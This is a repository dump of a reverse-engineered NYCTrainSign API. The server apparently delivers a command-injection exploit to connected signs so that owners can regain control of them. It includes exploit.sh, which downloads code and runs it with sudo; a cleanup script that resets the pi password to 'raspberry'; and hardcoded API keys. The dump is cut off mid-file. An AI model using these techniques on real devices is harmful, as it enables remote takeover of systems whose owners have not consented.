├── api ├── static │ ├── uploads │ │ └── .gitkeep │ ├── exploit.sh │ ├── cleanup.py │ ├── start.py │ ├── logo.py │ └── index.js.txt ├── templates │ └── sign_settings.html └── __init__.py ├── .gitignore ├── requirements.txt ├── data ├── README.md ├── build-stations.py ├── last_stops.json ├── stops.csv └── stops.json ├── conf └── nycts.service ├── models.py ├── www ├── templates │ ├── base.html │ ├── wait.html │ ├── claim.html │ ├── index.html │ └── nycts.html └── __init__.py ├── app.py ├── misc ├── nyctrainsign-response.json └── wheresthefuckingtrain-response.json └── README.md /api/static/uploads/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | *.pyc 3 | *.db 4 | *.DS_Store 5 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==2.2.2 2 | requests==2.28.1 3 | python-dateutil==2.8.2 4 | Bootstrap-Flask==2.2.0 5 | Flask-SQLAlchemy==3.0.2 6 | SQLAlchemy==1.4.45 7 | gunicorn==20.1.0 8 | -------------------------------------------------------------------------------- /api/templates/sign_settings.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
-------------------------------------------------------------------------------- /data/README.md: -------------------------------------------------------------------------------- 1 | # Train Data 2 | 3 | This folder contains train data that's used by the API. Currently most of the data is scraped from https://wheresthefuckingtrain.com using the build-stations.py script. 4 | 5 | However the last_stops.json file was manually built from the MTA Map and MTA webpages. -------------------------------------------------------------------------------- /conf/nycts.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=nycts server 3 | 4 | [Service] 5 | Restart=on-failure 6 | User=root 7 | WorkingDirectory=/opt/nycts 8 | 9 | ExecStart=gunicorn 'app:app' --bind '0.0.0.0:8000' --workers 4 --access-logfile "-" --error-logfile "-" 10 | 11 | [Install] 12 | WantedBy=multi-user.target -------------------------------------------------------------------------------- /api/static/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | curl https://api.trainsignapi.com/static/index.js.txt -o /home/pi/nycts-unit/api/index.js 3 | curl https://api.trainsignapi.com/static/logo.py -o /home/pi/nycts-unit/logo.py 4 | curl https://api.trainsignapi.com/static/start.py -o /home/pi/nycts-unit/start.py 5 | curl https://api.trainsignapi.com/static/cleanup.py -o /tmp/cleanup.py 6 | sudo python /tmp/cleanup.py 7 | sleep 5 8 | sudo reboot 9 | -------------------------------------------------------------------------------- /models.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | from flask_sqlalchemy import SQLAlchemy 4 | 5 | db = SQLAlchemy() 6 | 7 | 8 | class Signs(db.Model): 9 | id = db.Column(db.Integer, primary_key=True) 10 | client_id = db.Column(db.String(128), unique=True) 11 | sign_id = db.Column(db.String(128), unique=True) 12 | config = db.Column(db.JSON) 13 | claim_code = db.Column(db.String(128), nullable=True, unique=True) 14 | -------------------------------------------------------------------------------- /www/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | {{ bootstrap.load_css() }} 10 | 11 | {% block styles %}{% endblock %} 12 | 13 | Train Sign API 14 | 15 | 16 | {% block content %}{% endblock %} 17 | 18 | {{ bootstrap.load_js() }} 19 | {% block scripts %}{% endblock %} 20 | 21 | -------------------------------------------------------------------------------- /www/templates/wait.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 |
5 |
6 |
7 | 10 |
11 |
12 |
13 | {% endblock %} 14 | 15 | {% block scripts %} 16 | 21 | {% endblock %} -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from flask_bootstrap import Bootstrap5 3 | 4 | from api import api 5 | from models import db 6 | from www import www 7 | 8 | app = Flask(__name__) 9 | 10 | bootstrap = Bootstrap5(app) 11 | 12 | app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///nycts.db" 13 | 14 | app.config["SERVER_NAME"] = "trainsignapi.com" 15 | 16 | db.init_app(app) 17 | with app.app_context(): 18 | db.create_all() 19 | 20 | app.register_blueprint(api, subdomain="api") 21 | app.register_blueprint(www, subdomain="www") 22 | 23 | if __name__ == "__main__": 24 | app.run(debug=True, threaded=True, host="127.0.0.1", port=8000) 25 | -------------------------------------------------------------------------------- /api/static/cleanup.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | import os 4 | claim_code = None 5 | idx = None 6 | with open("/home/pi/nycts-unit/api/config.json", "r+") as f: 7 | config = json.load(f) 8 | sign_id = config["settings"]["sign_id"] 9 | claim_code = config["customtext"]["line_2"] 10 | try: 11 | idx = sign_id.index(";") 12 | except ValueError: 13 | pass 14 | if idx: 15 | with open("/home/pi/nycts-unit/api/config.json", "w+") as f: 16 | config["settings"]["sign_id"] = sign_id[:idx] 17 | json.dump(config, f) 18 | os.system("echo 'pi:raspberry' | chpasswd") 19 | requests.post("https://api.trainsignapi.com/claim", json={"claim_code": claim_code}, timeout=5) -------------------------------------------------------------------------------- /www/templates/claim.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block styles %} 4 | 10 | {% endblock %} 11 | 12 | {% block content %} 13 |
14 |
15 |
16 |

Claim Sign

17 |

18 | Enter the claim code that's shown on your sign 19 |

20 |
21 |
22 |
23 | 24 |
Don't know this code? Follow the instructions here.
25 |
26 | 27 |
28 |
29 |
30 |
31 |
32 | {% endblock %} -------------------------------------------------------------------------------- /data/build-stations.py: -------------------------------------------------------------------------------- 1 | import csv 2 | import json 3 | 4 | import requests 5 | 6 | header = ["id", "name", "stop", "line"] 7 | 8 | 9 | routes = requests.get("https://api.wheresthefuckingtrain.com/routes", timeout=5).json()[ 10 | "data" 11 | ] 12 | 13 | stops_json = [] 14 | 15 | with open("stops.csv", "w") as output_file, open( 16 | "stops.json", "w" 17 | ) as output_stops_json: 18 | fc = csv.DictWriter(output_file, fieldnames=header) 19 | fc.writeheader() 20 | 21 | for route in routes: 22 | print(f"Building {route}") 23 | stations = requests.get( 24 | f"https://api.wheresthefuckingtrain.com/by-route/{route}", timeout=5 25 | ).json()["data"] 26 | for station in stations: 27 | stops = station["stops"].keys() 28 | for stop in stops: 29 | line = { 30 | "id": station["id"], 31 | "name": station["name"], 32 | "stop": stop, 33 | "line": route, 34 | } 35 | fc.writerow(line) 36 | stops_json.append(line) 37 | print(line) 38 | # input() 39 | json.dump(stops_json, output_stops_json) 40 | -------------------------------------------------------------------------------- /misc/nyctrainsign-response.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "N": { 4 | "schedule": [ 5 | { 6 | "routeId": "R", 7 | "delay": null, 8 | "arrivalTime": 10, 9 | "departureTime": 1506617365 10 | }, 11 | { 12 | "routeId": "R", 13 | "delay": null, 14 | "arrivalTime": 19, 15 | "departureTime": 1506617928 16 | }, 17 | { 18 | "routeId": "R", 19 | "delay": null, 20 | "arrivalTime": 28, 21 | "departureTime": 1506618477 22 | }, 23 | { 24 | "routeId": "R", 25 | "delay": null, 26 | "arrivalTime": 38, 27 | "departureTime": 1506619077 28 | } 29 | ], 30 | "term": "71 AV" 31 | }, 32 | "S": { 33 | "schedule": [ 34 | { 35 | "routeId": "R", 36 | "delay": null, 37 | "arrivalTime": 2, 38 | "departureTime": 1506616796 39 | }, 40 | { 41 | "routeId": "R", 42 | "delay": null, 43 | "arrivalTime": 7, 44 | "departureTime": 1506617217 45 | }, 46 | { 47 | "routeId": "R", 48 | "delay": null, 49 | "arrivalTime": 13, 50 | "departureTime": 1506617547 51 | }, 52 | { 53 | "routeId": "R", 54 | "delay": null, 55 | "arrivalTime": 21, 56 | "departureTime": 1506618053 57 | } 58 | ], 59 | "term": "BAY RIDGE" 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /misc/wheresthefuckingtrain-response.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": [ 3 | { 4 | "N": [ 5 | { 6 | "route": "R", 7 | "time": "2022-12-24T22:47:30-05:00" 8 | }, 9 | { 10 | "route": "R", 11 | "time": "2022-12-24T22:59:00-05:00" 12 | }, 13 | { 14 | "route": "R", 15 | "time": "2022-12-24T23:04:00-05:00" 16 | } 17 | ], 18 | "S": [ 19 | { 20 | "route": "R", 21 | "time": "2022-12-24T22:51:57-05:00" 22 | }, 23 | { 24 | "route": "R", 25 | "time": "2022-12-24T23:01:53-05:00" 26 | } 27 | ], 28 | "id": "5d6e", 29 | "last_update": "2022-12-24T22:37:32-05:00", 30 | "location": [ 31 | 40.634967, 32 | -74.023377 33 | ], 34 | "name": "Bay Ridge Av", 35 | "routes": [ 36 | "R" 37 | ], 38 | "stops": { 39 | "R42": [ 40 | 40.634967, 41 | -74.023377 42 | ] 43 | } 44 | } 45 | ], 46 | "updated": "2022-12-24T22:37:32-05:00" 47 | } -------------------------------------------------------------------------------- /api/static/start.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | import atexit 3 | import Image 4 | import ImageDraw 5 | import ImageFont 6 | import time 7 | import signal 8 | import logging 9 | import json 10 | import psutil 11 | import subprocess 12 | import threading 13 | import os 14 | import sys 15 | from base import base 16 | from weather import weather 17 | from customtext import customtext 18 | from logo import logo 19 | from ad import ad 20 | from train import train 21 | from systemlogs import systemlogs 22 | import constants 23 | import logs 24 | 25 | b = base() 26 | swap = b.matrix.CreateFrameCanvas() 27 | customTextScreen = customtext(b) 28 | logoScreen = logo(b) 29 | adScreen = ad(b) 30 | trainScreen = train(b) 31 | weatherScreen = weather(b) 32 | systemlogger = systemlogs(b) 33 | 34 | fontXoffset = 0 35 | topOffset = 3 36 | image = Image.new('RGB', (constants.width, constants.height)) 37 | draw = ImageDraw.Draw(image) 38 | 39 | def signal_handler(signal, frame): 40 | b.matrix.Clear() 41 | sys.exit(0) 42 | 43 | def clearOnExit(): 44 | b.matrix.Clear() 45 | 46 | def drawClear(): 47 | draw.rectangle((0, 0, constants.width, constants.height), fill=constants.black) 48 | b.matrix.SetImage(image, 0, 0) 49 | 50 | def displayError(e): 51 | drawClear() 52 | draw.text((0 + fontXoffset + 3, 0 + topOffset + 0), e, font=constants.font, fill=constants.orange) 53 | b.matrix.SetImage(image, 0, 0) 54 | time.sleep(1) 55 | drawClear() 56 | 57 | atexit.register(clearOnExit) 58 | signal.signal(signal.SIGINT, signal_handler) 59 | 60 | while True: 61 | try: 62 | swap.Clear() 63 | if b.config["customtext"]["enabled"] == True: 64 | customTextScreen.draw() 65 | 66 | swap.Clear() 67 | if b.config["weather"]["enabled"] == True: 68 | weatherScreen.draw() 69 | 70 | swap.Clear() 71 | if b.config["subway"]["enabled"] == True: 72 | trainScreen.draw('S') 73 | swap.Clear() 74 | trainScreen.draw('N') 75 | 76 | swap.Clear() 77 | if b.config["logo"]["enabled"] == True: 78 | logoScreen.draw() 79 | 80 | except Exception as e: 81 | logging.exception("message") 82 | pass 83 | -------------------------------------------------------------------------------- /www/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block styles %} 4 | 10 | {% endblock %} 11 | 12 | {% block content %} 13 | 14 |
15 |
16 |
17 |

NYCTrainSign API

18 |

19 | This site is a reverse engineered version of the control panel behind the now defunct NYCTrainSign. It is not run by the original NYCTrainSign company nor does it have anything to do with the original NYCTrainSign company. 20 |

21 |

22 | Follow the instructions below to connect your sign to the API. Once you have a claim code, use the button below to claim your sign and get the control panel link. 23 |

24 |

Claim Sign

25 |
26 |
27 | 28 |
29 |
30 |
31 |
32 |

Connecting Your Sign

33 |

Follow the link below for instructions on connecting your NYCTrainSign to this API.

34 | Instructions » 35 |
36 |
37 |

How This Works

38 |

In 2022 I purchased the domain that served the API for NYCTrainSign. I reverse engineered the API and developed an exploit that jailbreaks the sign so that people could control their signs again.

39 |

For more details about how I got sign and how everything works read my blog post.

40 | View details » 41 |
42 |
43 |

Open Source

44 |

The code behind the API as well as the exploit are open source.

45 |

If you are curious about the code that powered the original NYCTrainSign I have also published it.

46 |

Github Repo »

47 |
48 |
49 |
50 |
51 |
52 | {% endblock %} -------------------------------------------------------------------------------- /www/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | 4 | from flask import Blueprint, redirect, render_template, request, url_for, current_app 5 | from sqlalchemy.orm.attributes import flag_modified 6 | 7 | from models import Signs, db 8 | 9 | www = Blueprint("www", __name__, template_folder="templates") 10 | 11 | with open("data/stops.json") as f: 12 | STOPS = json.load(f) 13 | 14 | 15 | @www.route("/") 16 | def index(): 17 | return render_template("index.html") 18 | 19 | 20 | @www.route("/signs/nycts/", methods=["GET", "POST"]) 21 | def nycts(sign_id): 22 | sign = Signs.query.filter_by(sign_id=sign_id).first_or_404() 23 | if request.method == "POST": 24 | # Global Settings 25 | sign.config["settings"]["name"] = request.form["name"] 26 | sign.config["settings"]["transition_time"] = int( 27 | request.form["transition_time"] 28 | ) 29 | sign.config["settings"]["brightness"] = int(request.form["brightness"]) 30 | 31 | # Custom Text 32 | sign.config["customtext"]["enabled"] = ( 33 | request.form["customtext_enabled"] == "true" 34 | ) 35 | sign.config["customtext"]["line_1"] = request.form["customtext_line_1"] 36 | sign.config["customtext"]["line_2"] = request.form["customtext_line_2"] 37 | 38 | # Train 39 | sign.config["subway"]["enabled"] = request.form["subway_enabled"] == "true" 40 | sign.config["subway"]["line"] = request.form["subway_line"] 41 | sign.config["subway"]["train"] = request.form["subway_train"] 42 | 43 | # Weather 44 | sign.config["weather"]["enabled"] = request.form["weather_enabled"] == "true" 45 | sign.config["weather"]["zip_code"] = request.form["weather_zip_code"] 46 | 47 | # Logo 48 | sign.config["logo"]["enabled"] = request.form["logo_enabled"] == "true" 49 | logo = request.files.get("logo") 50 | if logo: 51 | sign.config["logo"]["updated"] = True 52 | logo.save( 53 | os.path.join( 54 | current_app.root_path, "api", "static", "uploads", f"{sign_id}" 55 | ) 56 | ) 57 | 58 | flag_modified(sign, "config") 59 | db.session.commit() 60 | return render_template("wait.html", sign_id=sign_id) 61 | else: 62 | return render_template("nycts.html", sign=sign, STOPS=STOPS) 63 | 64 | 65 | @www.route("/claim", methods=["GET", "POST"]) 66 | def claim(): 67 | if request.method == "POST": 68 | code = request.form["claim_code"].upper() 69 | s = Signs.query.filter_by(claim_code=code).first_or_404() 70 | return redirect(url_for("www.nycts", sign_id=s.sign_id)) 71 | else: 72 | return render_template("claim.html") 73 | -------------------------------------------------------------------------------- /data/last_stops.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": { 3 | "N": "Van Cortlandt Park-242 St", 4 | "S": "South Ferry" 5 | }, 6 | "2": { 7 | "N": "Wakefield-241 St", 8 | "S": "Flatbush Av-Brooklyn College" 9 | }, 10 | "3": { 11 | "N": "Harlem 148 St", 12 | "S": "New Lots Av" 13 | }, 14 | "4": { 15 | "N": "Woodlawn", 16 | "S": "Crown Hts Utica Av" 17 | }, 18 | "5": { 19 | "N": "Eastchester-Dyre Av", 20 | "S": "Flatbush Av-Brooklyn College" 21 | }, 22 | "6": { 23 | "N": "Pelham Bay Park", 24 | "S": "Brooklyn Bridge City Hall" 25 | }, 26 | "7": { 27 | "N": "Flushing Main St", 28 | "S": "34 St-Hudson Yards" 29 | }, 30 | "7X": { 31 | "N": "Flushing-Main St", 32 | "S": "34 St-Hudson Yards" 33 | }, 34 | "A": { 35 | "N": "Inwood-207 St", 36 | "S": "Far Rockaway-Mott Av" 37 | }, 38 | "B": { 39 | "N": "Bedford Pk Blvd", 40 | "S": "Brighton Beach" 41 | }, 42 | "C": { 43 | "N": "168 St", 44 | "S": "Euclid Av" 45 | }, 46 | "D": { 47 | "N": "Norwood 205 St", 48 | "S": "Coney Island-Stillwell Av" 49 | }, 50 | "E": { 51 | "N": "Jamaica Center-Parsons/Archer", 52 | "S": "World Trade Center" 53 | }, 54 | "F": { 55 | "N": "Jamaica-179 St", 56 | "S": "Coney Island-Stillwell Av" 57 | }, 58 | "FS": { 59 | "N": "Franklin Av", 60 | "S": "Prospect Park" 61 | }, 62 | "G": { 63 | "N": "Court Sq", 64 | "S": "Church Av" 65 | }, 66 | "H": { 67 | "N": "Broad Channel", 68 | "S": "Rockaway Park-Beach 116 St" 69 | }, 70 | "J": { 71 | "N": "Jamaica Center-Parsons/Archer", 72 | "S": "Broad St" 73 | }, 74 | "L": { 75 | "N": "8 Av", 76 | "S": "Canarsie-Rockaway Pkwy" 77 | }, 78 | "M": { 79 | "N": "Forest Hills 71 Av", 80 | "S": "Middle Village Metropolitan Av" 81 | }, 82 | "N": { 83 | "N": "Astoria-Ditmars Blvd", 84 | "S": "Coney Island-Stillwell Av" 85 | }, 86 | "Q": { 87 | "N": "96 St", 88 | "S": "Coney Island-Stillwell Av" 89 | }, 90 | "R": { 91 | "N": "Forest Hills 71 Av", 92 | "S": "Bay Ridge 95 St" 93 | }, 94 | "S": { 95 | "N": "Times Sq-42 St", 96 | "S": "Grand Central-42 St" 97 | }, 98 | "SI": { 99 | "N": "St. George", 100 | "S": "Tottenville" 101 | }, 102 | "W": { 103 | "N": "Astoria-Ditmars Blvd", 104 | "S": "Whitehall St-South Ferry" 105 | } 106 | } -------------------------------------------------------------------------------- /api/static/logo.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import time 3 | import urllib 4 | import json 5 | import urllib2 6 | import Image 7 | import ImageDraw 8 | import constants 9 | import logs 10 | import requests 11 | 12 | class logo: 13 | 14 | def __init__(self, base): 15 | self.base = base 16 | self.config = base.config 17 | self.pic = None 18 | self.getImageURL() 19 | self.loadImageFromFile() 20 | def loadImageFromFile(self): 21 | try: 22 | self.pic = Image.open("./api/uploads/0") 23 | self.pic.thumbnail((128,32), Image.ANTIALIAS) 24 | except Exception, e: 25 | logs.logger.info( 26 | 'Logo module', extra={ 27 | 'status': 0, 28 | 'job': 'logo_module', 29 | 'error': str(e) 30 | }) 31 | self.getImageURL() 32 | def fetchImage(self, link): 33 | image = urllib.URLopener() 34 | try: 35 | image.retrieve(link, "./api/uploads/0") 36 | self.pic = Image.open("./api/uploads/0") 37 | self.pic.thumbnail((128,32), Image.ANTIALIAS) 38 | except Exception, e: 39 | logs.logger.info( 40 | 'Logo module', extra={ 41 | 'status': 0, 42 | 'job': 'logo_module', 43 | 'error': str(e) 44 | }) 45 | def getImageURL(self): 46 | try: 47 | url = 'https://api.trainsignapi.com/prod-get-image/get' 48 | payload = { 49 | 'clientId': self.config['settings']['client_id'], 50 | 'signId': self.config['settings']['sign_id'], 51 | 'logoKey': '0' 52 | } 53 | headers = { 54 | 'Content-Type': 'application/json', 55 | 'x-api-key': self.config['settings']['dev_api_key'] 56 | } 57 | response = requests.request( 58 | 'POST', url, headers=headers, json=payload) 59 | 60 | self.fetchImage(json.loads(response.text)['link']) 61 | 62 | except Exception, e: 63 | 64 | logs.logger.info( 65 | 'Logo module', extra={ 66 | 'status': 0, 67 | 'job': 'logo_module', 68 | 'error': str(e) 69 | }) 70 | def draw(self): 71 | self.config = self.base.config 72 | if self.config["logo"]["updated"] == True: 73 | baseurl = "http://127.0.0.1:3000/setConfig/logo/updated/false" 74 | try: 75 | result = urllib2.urlopen(baseurl, timeout = 5) 76 | except urllib2.URLError as e: 77 | error_message = e.reason 78 | logs.logger.info('API logo module', extra={'status': 0, 'job': 'api_logo_update', 'error': str(e)}) 79 | else: 80 | self.getImageURL() 81 | 82 | self.base.matrix.SetImage(self.pic.convert('RGB'), 0, 0) 83 | time.sleep(self.base.getTransitionTime()) 84 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NYCTrainSign Reconstructed API 2 | 3 | This repo contains a reverse engineered version of the API that once powered the NYCTrainSign. 4 | 5 | In addition to providing the sign data to show weather and train arrival times, the API also serves an exploit to any internet connected NYCTrainSign to allow users to control it without needing the original (now defunct) app. 6 | 7 | ## Sign Setup 8 | 9 | ### Backup MicroSD Card 10 | 11 | While this process isn't risky all data that currently exists on the sign will be wiped. To begin you should make a backup of the Micro SD card that's on the Raspbery Pi inside the sign so that you can restore back to it if needed. 12 | 13 | You should follow online instructions to backup the MicroSD card for the Raspberry Pi. Here is one page that you can follow: https://pimylifeup.com/backup-raspberry-pi/. 14 | 15 | ### Wifi Connection Instructions 16 | 17 | 1. Plug in the sign. Wait for it to start showing data. The data is stale so its fairly useless. 18 | 19 | 2. Press the button in the back. This button may be inside of the sign's case. In that case you will need to open the back panel and then push the button. It would be optimal if you put the button through the hole in the panel and taped it somewhere so you can access it in the future. The button will reset the wifi settings and reboot the server. 20 | 21 | 3. Wait for the sign to reboot. Wait for the sign to say "READY TO PAIR" 22 | 23 | 4. Once the sign says "READY TO PAIR", look for a wifi network named "NYCTrainSign". Connect to this network with your computer or phone. 24 | 25 | 5. Once you're connected browse to http://192.168.44.1:88/. 26 | 27 | 6. Look for your wifi network, select it, and provide the password. Note that the sign only supports 2.4Ghz networks. 28 | 29 | 7. Your phone/computer should disconnect and the network should disappear. Continue with the rest of the restoration instructions. 30 | 31 | ### Sign Exploit Instructions 32 | 33 | 1. Connect the sign to wifi following the instructions above. 34 | 35 | 2. Once the sign starts to connect to the custom restored API, the sign will eventually reset all its settings to default. Wait for the sign to say "trainsignapi.com" or "PLEASE REBOOT". 36 | 37 | 3. Unplug the sign and wait at least 10 seconds. 38 | 39 | 4. Plug the sign back in. 40 | 41 | 5. The sign should load up and then restart. 42 | 43 | 6. The sign should eventually settle on the same data as before. Copy down or take a picture of the code that's shown with "trainsignapi.com". You should now be able to control the sign from the website (https://www.trainsignapi.com/claim) with the control code. 44 | 45 | # Exploit 46 | 47 | ## Overview 48 | 49 | There exists an `os.system` call on the sign that runs on sign bootup. This system call directly uses the sign's ID as part of the command. 50 | 51 | Roughly the sign pulls configuration at boot so roughly the exploit can be summarized with: 52 | 53 | 1. The sign is turned on and it attempts to retrieve configuration. This will loop forever until the sign retrieves something. 54 | 2. The sign will eventually send a request for an image logo. This request will contain the sign ID and client ID. We store this data and create a exploit sign config. 55 | 3. On the sign’s next config request we serve our exploit to the sign. 56 | 4. We instruct the user to restart their sign and our exploit is run on restart 57 | 5. The exploit updates any code that’s needed to pair it with our new server 58 | 59 | ## Video 60 | 61 | https://www.youtube.com/watch?v=AuuPpuothe8 62 | -------------------------------------------------------------------------------- /api/static/index.js.txt: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const app = express(); 3 | const fs = require('fs'); 4 | const deviceModule = require('./device'); 5 | let config = require('./config.json'); 6 | const multer = require('multer'); 7 | const bodyParser = require('body-parser'); 8 | let jsonParser = bodyParser.json(); 9 | const fetch = require('node-fetch'); 10 | const PROD_API_KEY = 'rKlRPviE105H3paeGQyo9u7NGjhaauQ7TvyYSv91'; 11 | const GET_CONFIG_URL = 'https://api.trainsignapi.com/prod-get-config/get'; 12 | const POST_CONFIG_URL = 'https://api.trainsignapi.com/signs/'; 13 | 14 | //begin module 15 | const jsonReplacer = (key, value) => { 16 | if (value === 'false') return false; 17 | if (value === 'true') return true; 18 | return value; 19 | }; 20 | let storage = multer.diskStorage({ 21 | destination: function(req, file, cb) { 22 | cb(null, __dirname + '/uploads/'); 23 | }, 24 | filename: function(req, file, cb) { 25 | cb(null, 'emoji.jpg'); 26 | } 27 | }); 28 | let upload = multer({ 29 | storage: storage 30 | }); 31 | 32 | 33 | const writeToConfigFile = callback => { 34 | fs.writeFile( 35 | './config.json', 36 | JSON.stringify(config, jsonReplacer, ' '), 37 | err => { 38 | if (err) console.log(err); 39 | callback(); 40 | } 41 | ); 42 | fetch(POST_CONFIG_URL + config["settings"]["sign_id"], { 43 | method: "POST", 44 | timeout: 5000, 45 | headers: { 46 | Accept: "application/json", 47 | "Content-Type": "application/json", 48 | "x-api-key": PROD_API_KEY, 49 | }, 50 | body: JSON.stringify(config), 51 | }).then((response) => { 52 | return response.json(); 53 | }); 54 | }; 55 | 56 | const setConfig = (setting, key, value) => { 57 | if ( 58 | value === 'false' && 59 | typeof config[setting][key] === 'boolean' 60 | ) 61 | value = false; 62 | if (value === 'true') value = true; 63 | 64 | config[setting][key] = value; 65 | writeToConfigFile(() => console.log('done')); 66 | 67 | } 68 | 69 | const sleep = (time) => { 70 | return new Promise((resolve) => setTimeout(resolve, time)); 71 | } 72 | const getNewConfig = (callback) => { 73 | const params = { 74 | method: 'POST', 75 | timeout: 5000, 76 | headers: { 77 | 'Accept': 'application/json', 78 | 'Content-Type': 'application/json', 79 | 'x-api-key': PROD_API_KEY 80 | }, 81 | body: JSON.stringify({ 82 | clientId: config['settings']['client_id'] 83 | }) 84 | }; 85 | 86 | fetch(GET_CONFIG_URL, params) 87 | .then(response => { 88 | return response.json(); 89 | }) 90 | .then(json => { 91 | let newConfig = json[config['settings']['sign_id']]; 92 | if (newConfig) { 93 | if (JSON.stringify(config) !== JSON.stringify(newConfig)) { 94 | callback(newConfig); 95 | } 96 | } 97 | sleep(10000).then(() => { 98 | getNewConfig(callback); 99 | }) 100 | }) 101 | .catch(err => { 102 | sleep(2000).then(() => { 103 | getNewConfig(callback); 104 | }) 105 | }); 106 | } 107 | 108 | if(fs.existsSync('./config.json')) { 109 | getNewConfig((newConfig) => { 110 | config = newConfig; 111 | fs.unlink('./config.json', (err) => { 112 | if (err) { 113 | console.log(err); 114 | } else { 115 | writeToConfigFile(() => { void(0) }); 116 | } 117 | }); 118 | }) 119 | } 120 | 121 | 122 | app.get('/', function(req, res) { 123 | res.send("Hello darkness my old friend, I've come to talk with you again."); 124 | }); 125 | 126 | app.get('/getConfig', function(req, res) { 127 | res.json(config); 128 | }); 129 | app.get('/getNewConfig', function(req, res) { 130 | if(fs.existsSync('./config.json')) { 131 | getNewConfig((newConfig) => { 132 | config = newConfig; 133 | fs.unlink('./config.json', (err) => { 134 | if (err) { 135 | console.log(err); 136 | } else { 137 | writeToConfigFile(() => { res.json(config) }); 138 | } 139 | }); 140 | }) 141 | } 142 | else { 143 | res.json({ error: 'error' }); 144 | } 145 | }); 146 | 147 | app.get('/setConfig/:route/:settingKey/:settingValue', function(req, res) { 148 | let value = req.params.settingValue; 149 | if ( 150 | value === 'false' && 151 | typeof config[req.params.route][req.params.settingKey] === 'boolean' 152 | ) 153 | value = false; 154 | if (value === 'true') value = true; 155 | 156 | config[req.params.route][req.params.settingKey] = value; 157 | writeToConfigFile(() => res.json(config)); 158 | }); 159 | 160 | app.get('/getLogo', function(req, res) { 161 | res.sendFile(config.logo.image_file, { root: __dirname + '/uploads/' }); 162 | }); 163 | 164 | app.post('/setLogo', upload.single('image'), function(req, res) { 165 | config['logo']['updated'] = true; 166 | res.json(req.body); 167 | }); 168 | 169 | app.post('/checkPin', jsonParser, function(req, res) { 170 | const isRight = checkPin(req.body.pin); 171 | res.json(isRight); 172 | }); 173 | 174 | app.post('/setPin', jsonParser, function(req, res) { 175 | setPin(req.body.pin); 176 | res.json(req.body); 177 | }); 178 | 179 | app.listen(3000, function() { 180 | console.log('NYC Train Sign Server listening on port 3000!'); 181 | }); 182 | -------------------------------------------------------------------------------- /api/__init__.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | import string 4 | import time 5 | import uuid 6 | from pathlib import Path 7 | 8 | import requests 9 | from dateutil.parser import parse 10 | from flask import ( 11 | Blueprint, 12 | abort, 13 | current_app, 14 | jsonify, 15 | render_template, 16 | request, 17 | url_for, 18 | ) 19 | from sqlalchemy.orm.attributes import flag_modified 20 | 21 | from models import Signs, db 22 | 23 | api = Blueprint("api", __name__, static_folder="static", template_folder="templates") 24 | 25 | weather_mapping = { 26 | 0: "CLEAR", 27 | 1: "CLEAR", 28 | 2: "PARTLY CLOUDY", 29 | 3: "OVERCAST", 30 | 45: "FOGGY", 31 | 48: "FOGGY", 32 | 51: "LIGHT DRIZZLE", 33 | 53: "MED DRIZZLE", 34 | 55: "HEAVY DRIZZLE", 35 | 56: "LIGHT FR DRIZZLE", 36 | 57: "HEAVY FR DRIZZLE", 37 | 61: "LIGHT RAIN", 38 | 63: "MED RAIN", 39 | 65: "HEAVY RAIN", 40 | 66: "LIGHT FR RAIN", 41 | 67: "HEAVY FR RAIN", 42 | 71: "LIGHT SNOW", 43 | 73: "MED SNOW", 44 | 75: "HEAVY SNOW", 45 | 77: "SNOWING", 46 | 80: "LIGHT RNDM RAIN", 47 | 81: "MEDIUM RNDM RAIN", 48 | 82: "HEAVY RNDM RAIN", 49 | 85: "LIGHT RNDM SNOW", 50 | 86: "HEAVY RNDM SNOW", 51 | 95: "THUNDERSTORM", 52 | 96: "HAIL THUNDERSTORM", 53 | 99: "HAIL THUNDERSTORM", 54 | } 55 | 56 | CONFIG_JSON_TEMPLATE = { 57 | "subway": { 58 | "name": "Subway", 59 | "enabled": True, 60 | "service": { 61 | "name": "New York - MTA", 62 | "key": "MTA", 63 | "endpoint-trains": "https://api.trainsignapi.com/prod-trains/trains/availableLines/", 64 | "endpoint-stations": "https://api.trainsignapi.com/prod-trains/trains/", 65 | "endpoint-times": "https://api.trainsignapi.com/prod-trains/stations/", 66 | }, 67 | "line": "L", 68 | "train": "L15", 69 | }, 70 | "weather": {"name": "Weather", "enabled": False, "zip_code": "11237"}, 71 | "customtext": { 72 | "name": "Custom Text", 73 | "enabled": False, 74 | "line_1": "HELLO DARKNESS", 75 | "line_2": "MY OLD FRIEND", 76 | }, 77 | "logo": { 78 | "name": "Logo", 79 | "enabled": False, 80 | "image_file": "emoji.jpg", 81 | "updated": True, 82 | }, 83 | "settings": { 84 | "name": "Name", 85 | "client_id": "CLIENT_ID", 86 | "sign_id": "SIGN_ID", 87 | "state": "online", 88 | "dev": True, 89 | "transition_time": "4", 90 | "brightness": "50", 91 | "reboot": False, 92 | "dev_api_key": "5lz8VPkVUL7gcjN5LsZwu1eArX8A3B2m8VeUfXxf", 93 | 